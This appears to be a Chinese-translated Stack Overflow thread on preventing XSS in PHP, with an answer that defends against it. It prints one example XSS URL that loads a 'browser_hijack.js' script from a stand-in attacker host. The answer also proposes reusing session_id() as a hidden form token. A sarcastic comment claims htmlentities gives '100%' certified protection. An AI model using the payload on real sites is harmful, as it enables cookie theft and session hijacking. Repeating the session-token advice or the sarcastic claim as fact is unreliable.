【问题标题】:How to prevent XSS attacks in PHP? [duplicate]如何防止 PHP 中的 XSS 攻击? [复制]
【发布时间】:2014-09-12 11:17:20
【问题描述】:

我在网上找到了许多防止 XSS 攻击的函数/类。现在,100% 防止输入 POST/GET 表单值的 XSS 攻击的最佳 PHP 函数/类是什么?

【问题讨论】:

  • 你的意思是SQL注入攻击。 PDO 和 MySQLi 与 XSS 无关。
  • PDO 或 MySQLi 使用带有绑定变量的准备好的语句 是最好的方法或防止 SQL 注入 攻击,而不是 XSS
  • @Havenard:哦,对不起,我编辑了我的 Q
  • @hakre 即使它被关闭,它仍然容易受到物理攻击:-)
  • 是的,您仍然可以注入软盘,然后从软盘启动!然而,XSS 是不可能通过软盘实现的,至少 IETF 所说的软盘必须是这样的(对于 5.25 软盘,虽然不太确定 3.5)。

标签: php


【解决方案1】:

XSS(跨站点脚本)有多种形式,其中一种是允许用户通过将用户输入与生成的 HTML 混合来操纵您的网站内容。

例子:

http://www.exemple.com/setname.php?name=<script src=http://evil_source.com/browser_hijack.js></script>

如果您的网站在某处打印$_GET['name'],您将在您的 HTML 中注入这种邪恶的 JavaScript,这将允许黑客以用户的名义与其交互、窃取 cookie 等。

在这种情况下,避免此类事情发生的最佳方法是过滤您网站中显示的所有用户来源的信息。

通常的做法是使用htmlspecialchars()htmlentities() 处理用户原创内容。

XSS 的另一个经常被遗忘的方面是跨站发布

每个处理来自用户的敏感信息或命令的服务器端脚本都应该检查用户是否真的发布了它,而不是其他一些与 URL 或任意 POST 请求混淆的来源。

这是通过使用只有您的网站知道的发布密钥来完成的。我想你可以安全地使用session_id()。这是只有您的服务器和用户的浏览器知道的信息,其他人不知道。

您所做的是在每个&lt;form&gt; 中包含以下内容:

<input type="hidden" name="postkey" value="<?php echo session_id(); ?>">

在处理这个表单的脚本中,确保$_REQUEST['postkey'] == session_id()

这将防止其他网站通过使用任意生成的公式或 URL 来诱导用户对您的网站进行操作。

【讨论】:

  • 我整天都将它与我的 PDO 查询一起使用,我可以确认此功能确实可以 100% 防止 XSS。 IIRC 已通过德国莱茵 TÜV 认证,具备 Anti XSS 功能。
  • UTF-8 被调用,它想要返回它的字符。说真的,不要将htmlentities() 用于,嗯,基本上任何东西。相反,正确的 API 是 htmlspecialchars()
  • @hakre 我不确定每个人都明白你在讽刺。 :-D
  • 互联网上有两种人:一种可以在网上处理讽刺,另一种不会。 OP可以处理它,我非常确定:)
猜你喜欢
  • 2022-01-08
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2020-08-28
  • 2023-03-04
相关资源
最近更新 更多